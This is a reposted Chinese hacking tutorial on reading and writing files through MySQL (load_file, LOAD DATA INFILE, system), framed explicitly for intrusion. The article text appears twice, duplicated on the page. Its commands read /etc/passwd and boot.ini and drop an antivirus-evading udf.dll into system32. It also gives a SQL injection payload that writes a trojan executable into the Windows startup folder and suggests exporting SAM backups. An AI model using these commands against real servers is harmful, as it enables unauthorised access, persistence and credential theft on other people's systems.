mysql 讀取文件的幾種方式及應(yīng)用
發(fā)布日期:2021-12-15 04:48 | 文章來源:源碼中國
章出處:C.R.S.T
作者:sai52[B.H.S.T]
blog:www.sai52.com
今天朋友問我如何在mysql下讀取文件,把我問愣了,發(fā)現(xiàn)自己還是犯了不求甚解的毛病,因此特地查了下mysql使用手冊。
思路都一樣,在擁有file權(quán)限的前提下,讀取文件為字符串形式插入表中,然后讀出表中數(shù)據(jù),只是方式略有不同
mysql3.x下
不確定mysql3.x下能否使用load_file()函數(shù)(我在mysql3使用手冊上沒有查到,但貌似是可以的),用 load data infile 讀取文件,命令如下
mysql>create table a (cmd text);
mysql>load data infile 'c:\\boot.ini' into table a;
mysql>select * from a;
mysql4.x下
mysql4.x下除了 load data infile 外還可以用大家熟知的 load_file() 來讀取,命令如下
mysql>create table a (cmd text);
mysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
mysql>select * from a;
mysql5.x下
在linux下,mysql5.x 除了上面兩種方法,還可以利用 system 直接執(zhí)行系統(tǒng)命令的方式來讀取文件(是否必須root身份不確定,未測試),命令如下
mysql>system cat /etc/passwd
mysql下讀取文件在入侵中用到的時(shí)候不多,可能用于查詢配置文件尋找web路徑,或者webshell權(quán)限很小的時(shí)候讀取其他格式的webshell內(nèi)容然后用into outfile方式寫入大馬等,二進(jìn)制文件也可以這樣用,只是多了hex()和unhex()的工序。
例:把免殺過的udf.dll文件插入系統(tǒng)目錄
create table a (cmd LONGBLOB);
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll')));
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';
其他的利用方法也很多,如把木馬文件寫入啟動(dòng)項(xiàng),或者把加工過的cmd.exe文件導(dǎo)出到系統(tǒng)根目錄下,把sam備份導(dǎo)出到可讀目錄等等,注入中理論上應(yīng)該也可以這樣用(在不知道web路徑又可以導(dǎo)出文件的情況下),大家自由發(fā)揮吧。
注入中的語法
[Copy to clipboard] [ - ]CODE:
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六進(jìn)制),5 INTO DUMPFILE 'C:/Documents and Settings/All Users/「開始」菜單/程序/啟動(dòng)/mm.exe'/*
測試后發(fā)現(xiàn)注入中運(yùn)用不太現(xiàn)實(shí),因?yàn)橐獙?dǎo)出二進(jìn)制文件要求必須數(shù)據(jù)類型為blob或longblob,現(xiàn)實(shí)中極少用到。
作者:sai52[B.H.S.T]
blog:www.sai52.com
今天朋友問我如何在mysql下讀取文件,把我問愣了,發(fā)現(xiàn)自己還是犯了不求甚解的毛病,因此特地查了下mysql使用手冊。
思路都一樣,在擁有file權(quán)限的前提下,讀取文件為字符串形式插入表中,然后讀出表中數(shù)據(jù),只是方式略有不同
mysql3.x下
不確定mysql3.x下能否使用load_file()函數(shù)(我在mysql3使用手冊上沒有查到,但貌似是可以的),用 load data infile 讀取文件,命令如下
mysql>create table a (cmd text);
mysql>load data infile 'c:\\boot.ini' into table a;
mysql>select * from a;
mysql4.x下
mysql4.x下除了 load data infile 外還可以用大家熟知的 load_file() 來讀取,命令如下
mysql>create table a (cmd text);
mysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
mysql>select * from a;
mysql5.x下
在linux下,mysql5.x 除了上面兩種方法,還可以利用 system 直接執(zhí)行系統(tǒng)命令的方式來讀取文件(是否必須root身份不確定,未測試),命令如下
mysql>system cat /etc/passwd
mysql下讀取文件在入侵中用到的時(shí)候不多,可能用于查詢配置文件尋找web路徑,或者webshell權(quán)限很小的時(shí)候讀取其他格式的webshell內(nèi)容然后用into outfile方式寫入大馬等,二進(jìn)制文件也可以這樣用,只是多了hex()和unhex()的工序。
例:把免殺過的udf.dll文件插入系統(tǒng)目錄
create table a (cmd LONGBLOB);
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll')));
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';
其他的利用方法也很多,如把木馬文件寫入啟動(dòng)項(xiàng),或者把加工過的cmd.exe文件導(dǎo)出到系統(tǒng)根目錄下,把sam備份導(dǎo)出到可讀目錄等等,注入中理論上應(yīng)該也可以這樣用(在不知道web路徑又可以導(dǎo)出文件的情況下),大家自由發(fā)揮吧。
注入中的語法
[Copy to clipboard] [ - ]CODE:
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六進(jìn)制),5 INTO DUMPFILE 'C:/Documents and Settings/All Users/「開始」菜單/程序/啟動(dòng)/mm.exe'/*
測試后發(fā)現(xiàn)注入中運(yùn)用不太現(xiàn)實(shí),因?yàn)橐獙?dǎo)出二進(jìn)制文件要求必須數(shù)據(jù)類型為blob或longblob,現(xiàn)實(shí)中極少用到。
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章